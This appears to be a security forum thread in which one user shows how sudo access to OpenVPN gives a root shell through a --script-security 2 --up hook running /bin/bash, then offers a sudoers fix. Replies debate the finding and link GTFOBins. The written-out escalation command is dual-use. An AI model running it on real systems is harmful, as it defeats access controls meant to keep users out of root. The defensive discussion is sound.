This topic contains 1 reply, has 2 voices, and was last updated by crooq42 4 weeks, 1 day ago.
- October 29, 2020 at 8:45 am #323790
Not sure how applicable this will be to everyone as it’s pretty niche as a setup.
If you’re a non root user with sudoer (/etc/sudoers.d/<username>) permission to openvpn, as in with a line saying:
I found this on a server providing a secured VPN connection.
You can obtain root shell using:
Sudo OpenVPN –remote 126.96.36.199 –dev tun –script-security 2 –up “/bin/bash -c ‘sudo -u root /bin/bash -i”
The script security 2 is what allows the command to run user scripts. You can replace my command with any executable script path and it will run as the root OpenVPN user.
You can fix this vulnerability by changing the sudoers file to:
/usr/sbin/OpenVPN * –script-security 0
Any Sudo commands run will have to pass that flag at the end, and this overwrites any previous script security designations.
This is in a programatic environment so it’s easy to implement without user issue. But this may not be ideal with users interacting through the command line. There may be a better way to fix it, but I thought I’d share anyway.
The root user was meant to be disabled on this server. It’s meant to be completely locked down. The OpenVPN user needed the permission to startstop/restart OpenVPN itself.
- October 29, 2020 at 8:45 am #323791
This isnt really a vulnerability, seems more like a feature working as intended. If you have sudo access you can already open a root shell and do anything root can do. Good effort though, keep up the bug hunts!
Edit: misunderstood it a bit, guess you could elevate to a full root shell with only sudo access to open vpn. Not a likely setup but still a good find
- October 29, 2020 at 8:45 am #323792
Hell yeah, these are great little bugs. Feels like a weird edge case the dev didn’t think about.
This kind of stuff reminds me of Unquoted Service Path vulnerabilities in windows. Happens all the time, but when it happens to popular software it creates a huge splash.
- October 29, 2020 at 8:45 am #323793
There are a ton of programs that can give you a root shell if you have sudo access to them. Have a look at [GTFOBins](https://gtfobins.github.io/#+shell)
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